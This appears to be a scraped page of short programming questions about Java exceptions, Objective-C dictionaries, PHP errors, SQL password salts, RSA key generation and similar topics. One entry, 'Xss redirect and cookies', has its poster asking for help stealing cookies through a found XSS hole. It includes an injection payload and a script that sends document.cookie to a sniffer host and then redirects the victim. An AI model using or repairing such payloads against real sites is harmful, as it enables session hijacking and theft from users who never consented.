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  • Are multiply-thrown Exceptions checked or runtime?

    - by froadie
    I have an Exception chain in which method1 throws an Exception to method2 which throws the Exception on to main. For some reason, the compiler forces me to deal with the error in method2 and marks it as an error if I don't, indicating that it's a checked Exception. But when the same Exception is thrown further down the line to main, the compiler allows me to ignore it and doesn't display any errors. The original Exception in method1 is a ParseException, which is checked. But the method has a generic throws Exception clause in the header, and the same object is thrown to method2, which has an identical throws Exception clause. When and how does this Exception lose the status of being checked / caught by the compiler? Edited to clarify: public void method1() throws Exception{ // code that may generate ParseException } public void method2() throws Exception{ method1(); //compiler error } public static void main(String[] args){ method2(); //ignored by compiler }

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  • NSMutableDictionary is adding quotes to keys and values - why?

    - by TimD
    I'm trying to add some additional key/value pairs to an NSMutableDictionary, using: Tag *tag1 = [results1 objectAtIndex:0]; [resultsDict setObject:[tag1 retrieveTextUpToDepth:1] forKey:@"image_url"]; Tag *tag2 = [results2 objectAtIndex:0]; [resultsDict setValue:[tag2 retrieveTextUpToDepth:1] forKey:@"majority"]; This adds the k/v pairs with no problem, except when I come to retrieve them, some of the values have been wrapped with double quotes: po extendedDataDictionary: "image_url" = "/images/mpsL/11727.jpeg"; majority = 3460; Both keys and values are NSStrings, with no quotes - so I'm stumped as to where they're appearing from. Is there any way of preventing this? Or am I going to have to live with it and try to strip off the quotes once I've retrieved the value? Thanks...

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  • Weirdest PHP error

    - by yes123
    I found in my error log this [12-Nov-2011 19:22:26] PHP Warning: Attempt to assign property of non-object in on line 1768776801 [12-Nov-2011 19:22:31] PHP Warning: Attempt to assign property of non-object in on line 1768776801 [12-Nov-2011 19:22:39] PHP Warning: Attempt to assign property of non-object in on line 1768776801 [12-Nov-2011 19:22:40] PHP Warning: Attempt to assign property of non-object in on line 1768776801 [12-Nov-2011 19:22:46] PHP Warning: Attempt to assign property of non-object in on line 1768776801 [12-Nov-2011 19:22:51] PHP Warning: Attempt to assign property of non-object in on line 1768776801 Of course I don't have any script with 1 bn lines. PHP Version 5.3.3-7 Apache 2 The other weird thing is that I have a set_error_handler( 'myHandler' ); To write in the error log other inforamtion too, but with this error it seems PHP just ignores my error_handler =/ I don't have any code that can generate this errore before my call to set_error_handler

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  • Xss redirect and cookies

    - by user1824906
    I found Active XSS on one site. I need to steal cookies and after it to make redirect on other site. This site has a non-frame protection I tried to put "><script src='http://site.ru/1.js' /></script>" http://site.ru/1.js contains: img = new Image(); img.src = "http:/sniffer.com/nasdasdnu.gif?"+document.cookie; var URL = "http://images.cards.mail.ru/11bolprivet.jpg" var speed = 100; function reload() { document.location = URL } setTimeout("reload()", speed); But it doesn't work=\ Any help?

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  • How do I get hyphens in my attribute names in Flex?

    - by John Leonard
    Flex has an issue with hyphens in xml. I need to generate an xml object with hyphens in the attribute for a Google Checkout implementation. I can get away with: var xml:XML = <item-description/>; and var xml:XML = <item-description the-name="foo"/>; but what I need to do is set the value of an attribute like this: var timestamp:String = methodToGetMyTimestampString(); var xml:XML = <item-desc/>; xml@start-date = timestamp; but I can't do that. Since flex doesn't like the hyphens, I don't know how to get or set attributes with hyphens in the name.

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  • Using XSD file in VS2005

    - by xt_20
    Hello all I want to write an XML file. I have created an XSD file named XMLSchema.xsd, and run the command 'xsd /c XMLSchema.xsd' which generated a c# class file. Now, how do I use this file to generate XML files? Part of my code: <?xml version="1.0" encoding="utf-8"?> <xs:schema id="XMLSchema" targetNamespace="http://tempuri.org/XMLSchema.xsd" elementFormDefault="qualified" xmlns="http://tempuri.org/XMLSchema.xsd" > <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element name="Audit"> <xs:complexType> ... which generates a c# class 'root'. How do I call 'root' from my C# web program? Thanks

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  • jQuery : how to manipulate indexes?

    - by Gabriel Theron
    Should not be such a hard question... I'm just having a hard time figuring out how to make operations on some jquery elements, particularly their indexes. Teh codez: $( "#docSlider" ).css("background-image", "url(../../bundles/mypath/images/maquette/img" + $( "#selectable li" ).index( this ) + (".jpg)")); I want to make the name of the picture I load depend on the index of a jQuery selectable. So I grab the index and try to add 1... but it can't work because "+" is also a concatenator. I've tried to parseInt as well, but it was always worth 0. How do I simply transform the index to an integer and then concatenate it with the rest of the string? Thank you in advance! Edit : I'm using a function that already exists, so I can hardly change the parameters (well, I guess I can't...)

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  • Reading and decoding PDF-417 barcodes stored in an image or PDF file from within a .NET application

    - by John Rasch
    I am looking for a .NET library that is able to decode data from a PDF-417 barcode that is embedded either in an image file or PDF. At this point, I have only been able to find a Java version and a C version. Ideally, this library would be both open-source and free of charge, but I doubt such a decoder exists. I am open to trying out demos of existing products that you may have had experience with - which leads me to the question - have you had any experience reading PDF-417 barcodes embedded in images or PDFs using .NET, and which of the available products would you recommend to do so?

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  • Lexographical sorting problem

    - by Shawn Mclean
    I'm doing a problem that says concatenate the words to generate the lexicographically lowest possible string. from a competition. Take for example this string: jibw ji jp bw jibw The actual output turns out to be: bw jibw jibw ji jp When I do sorting on this, I get: bw ji jibw jibw jp. Does this mean that this is not sorting? If it is sorting, does lexicographic sorting take into consideration pushing the shorter strings to the back or something? I've been doing some reading on lexigographical order and I dont see any point or scenarios on which this is used, do you have any?

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  • [Sql-Server]what data type to use for password salt and hash values and what length?

    - by Pandiya Chendur
    I am generating salt and hash values from my passwords by using, string salt = CreateSalt(TxtPassword.Text.Length); string hash = CreatePasswordHash(TxtPassword.Text, salt); private static string CreateSalt(int size) { //Generate a cryptographic random number. RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider(); byte[] buff = new byte[size]; rng.GetBytes(buff); // Return a Base64 string representation of the random number. return Convert.ToBase64String(buff); } private static string CreatePasswordHash(string pwd, string salt) { string saltAndPwd = String.Concat(pwd, salt); string hashedPwd = FormsAuthentication.HashPasswordForStoringInConfigFile( saltAndPwd, "sha1"); return hashedPwd; } What datatype you would suggest for storing these values in sql server? Any suggestion... Salt:9GsPWpFD Hash:E778AF0DC5F2953A00B35B35D80F6262CDBB8567

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  • Join a single row in one table to n random rows in another

    - by Einar Egilsson
    Is it possible to make a join in SQL server that joins each row from table A to n random rows in another? For example, say I have a Customer table, a Product table and an Order table. I want to join each customer to 5 random products and insert these rows into the order table. (And each customer should be joined to 5 random rows of his own, I don't want all customers joining to the same 5 rows). Is this possible? I'm using SQL Server 2005 and it's fine if the solution is specific to that. This is a weird requirement but I'm basically making a small data generator to generate some random data.

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  • encoding of =1 in emails

    - by Maenny
    Hi folks, I have probably a stupid problem. In a script I generate a URL with GET parameters, something like 'www.mydomain.com/index.php?item=1234'. This URL will be sent by PHP through mail() in an UTF-8 encoding (the scriptfile itself also is utf-8). Now each time I have the GET-Parameter with two numbers after the '=' the URL in the email looks like 'www.mydomain.com/index.php?item?34' with a rectangle instead of '=12'. I am sure there is an easy way to fix this? Thanks in advance, Maenny

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  • [Java] Implement a RSA algorithm

    - by Robin Monjo
    Hello everyone. I want to implement a RSA algorithm to encrypt an image (byte[]). To generate my two keys I used this piece of code : KeyPairGenerator keygen = KeyPairGenerator.getInstance("RSA"); keygen.initialize(512); keyPair = keygen.generateKeyPair(); Once public and private key are generated, I would like to show them to the user so he can distribute the public key and use the private key to decode. How can I get back those key ? Using keygen.getPrivateKey() and keygen.getPublicKey() give me all the information of the RSA algorithm, not only the keys I need. Thanks

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  • Hashing a python method to regenerate output when method is modified

    - by Seth Johnson
    I have a python method that has a deterministic result. It takes a long time to run and generates a large output: def time_consuming_method(): # lots_of_computing_time to come up with the_result return the_result I modify time_consuming_method from time to time, but I would like to avoid having it run again while it's unchanged. [Time_consuming_method only depends on functions that are immutable for the purposes considered here; i.e. it might have functions from Python libraries but not from other pieces of my code that I'd change.] The solution that suggests itself to me is to cache the output and also cache some "hash" of the function. If the hash changes, the function will have been modified, and we have to re-generate the output. Is this possible or a ridiculous idea? If this isn't a terrible idea, is the best implementation to write f = """ def ridiculous_method(): a = # # lots_of_computing_time return a """ , use the hashlib module to compute a hash for f, and use compile or eval to run it as code?

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  • Serving Advertisements - What should the View be responsible for?

    - by jboyd
    My requirements are that Ads have a definite size, could be different media types (although I'd like to focus on Images first) and need to have their impressions tracked I'm using Spring-MVC and will likely have a service that will retrieve all the relevant ad information adService.getAdsForPage("news"); adService.getFeaturedAd("news"); and so on... My question is, what will my view be responsible for? I need to track impressions, and I can only really think of how to do that on the server side. But what would my view look like. I'd like any example code, ideas, or a link to a page that has some in depth discussion of this topic

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  • Running ASP.NET MVC application behind a proxy with different root relative path

    - by Wiebe
    Hi All, I'm having trouble with paths in a ASP.NET MVC application that's running behind a proxy. Our IIS Application root path is for example http://server/MyApp/ meaning that all urls using the application root ("~/",Url.Action("MyAction","MyController")) are resolved to "/MyApp" Now we're running behind a proxy server that forwards all requests, but changes the application root to something like this: "/Secury/Proxy/RubbishUrl/MyApp" Because the original url is only available on the client, I thought of creating a cookie with the path prefix, and insert this before each generated URL on the server. Now the question is, what's the best location in code to modify each URL that's resolved/sent to the client (to resources, controller actions, images etc)? Every path in the application is resolved with the MVC methods (Url.Content, Url.Action etc).

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  • NSImage different size in code different shown by Finder/Preview

    - by krasnyk
    I have a couple of images that i use in my application(one of them is attached). The strange thing is that the real image size(shown by finder and preview) is 1200x701 px. When I access image from the code and as for its size, I get 360x210px. What is going on? Code I'm using to get the size of the image: NSImage *newImg = [[NSImage alloc] initWithContentsOfURL: [NSURL URLFromPasteboard:[sender draggingPasteboard]]]; float h = [newImg size].height; //height is 210px - should be 701px float w = [newImg size].width; //width is 320px - should be 1200px The content of the newImg is the same image that has been pointed and loaded - I display it in the NSImageView anyway so I see. Just the size taken with -size is wrong. This is the image:

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  • Securing WinForms Application suggestions

    - by Sarah Fordington
    I've been looking for a simple key/license system for our users. Its partly to stop piracy (avoid users from sharing the application around) and the other half to track the number of 'licensed users' we have. I have already read a few good suggestions on SO but I'm curious as to how people have implemented the 30 day evaluation criteria. Do you generate a key that stores the date somewhere and do a comparison each time or is it a little more complicated - deleting the file/removing the registry shouldn't deactivate. Are there any example implementations out there that can give me a head start? The irony is that our PM doesn't want to license a third-party system to do it for us. This is for a Windows Forms application.

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  • My Spinner Widgets look different on different devices. How can I define a own Spinner that looks th

    - by Janusz
    I use this code to generate a spinner in my app: subCatAdapter = new ArrayAdapter<Subcategory>(this, android.R.layout.simple_spinner_item, subCategories); subCatAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item); On my device (Motorola Milestone) and in the emulator this looks like the standard gray spinner widget. On of my colleagues uses a Motorola Backflip and on his device the Spinner is black. Now its very hard to read the font in the spinner. What do I have to do to use my own view for the spinner? I don't mind to have the gray spinner on all devices, but it should always look the same on all devices.

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  • A Simulator for a non-deterministic Push-Down Automaton

    - by shake
    Well, i need to make simulator for non-deterministic Push-Down Automaton. Everything is okey, i know i need to do recursion or something similar. But i do not know how to make that function which would simulate automaton. I got everything else under control, automaton generator, stack ... I am doing it in java, so this is maybe only issue that man can bump on, and i did it. So if anyone have done something similar, i could use advices. This is my current organisation of code: C lasses: class transit: list -contains non deterministic transitions state input sign stack sign class generator it generate automaton from file clas NPA public boolean start() - this function i am having trouble with Of course problem of separate stacks, and input for every branch. I tried to solve it with collection of objects NPA and try to start every object, but it doesn work :((..

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  • Why am I getting two section headers on this grouped table?

    - by Andy
    I'm sure this is some easy-to-fix issue that I've missed, but I can't figure it out. I've got a grouped table view with 3 sections. I'm using the following code to generate section headers: -(NSString*)tableView:(UITableView*)tableView titleForHeaderInSection:(NSInteger)section { if (section == 0) { NSString *header = @"Header 1"; return header; } if (section == 1) { NSString *header = @"Header 2"; return header; } else { NSString *header = @"Header 3"; return header; } } When my table is displayed, there are two headers for each section - one with white text on a gray bar that stretches across the screen (like the letter separators in the Contacts app), and one in gray text on the table background (which is the one I want). Both headers have identical text. Where is the first header coming from?

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  • dynamically create sitemap xml using php

    - by rekhasathvika
    Hi, I have created sitemap for my site using some reference code in the below link http://stackoverflow.com/questions/2747801/creating-an-xml-sitemap-with-php But I am getting error as XML Parsing Error: undefined entity Location: as my content is as follows << alt attribute and it says something like < loc http://www.example.com/700- & laquo;alt & raquo;-attributes-in-images.php< /loc Can anyone tell me how to get rid of this error.

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  • amazon design doubt

    - by praveen
    I was looking at the amazon website and was wondering how one of the feature would have been implemented. The feature : what customers buy after viewing a particular item. If i were to develop such a feature i would probably generate a session id for each user session and store the session id-page id combination in a log file. and if a book is bought set a separate flag for the session id-page id. A separate program can then be run on the log file periodically, to identify the groups that were bought together/viewed together and that information can be stored in a persistent file. This is ofcourse a simple solution without taking into consideration the distributed nature of the servers - but would this suffice or can you help me identify a better design.

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  • Squid server - multiple originservers with different domains

    - by jduncan
    I have 2 squid servers load-balanced with F5 LTMs set up as a reverse proxy. My problem: origin server A hosts domains 1, 2, and 3 origin server B hosts domains 4 and 5. how can I set up squid so that it will cache all vhosts for both servers? my current config: cache_peer serverA parent 80 0 round-robin no-query originserver login=PASS If I add a second line: cache_peer serverB parent 80 0 round-robin no-query originserver login=PASS it only caches domains on serverB, requests for serverA content generate 404 errors. I don't use squid a whole lot, and all help is appreciated. thanks.

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  • Determine if Alpha Channel is Used in an Image

    - by Otaku
    As I'm bringing in images into my program, I want to determine if: they have an alpha-channel if that alpha-channel is used #1 is simple enough with using Image.IsAlphaPixelFormat. For #2 though, other than looping through every single pixel, is there a simple way I can determine if at least one of the pixels has an alpha channel that is used (i.e. set to some other value than 255)? All I need back is a boolean and then I'll make determination as to whether to save it out to 32-bit or 24-bit.

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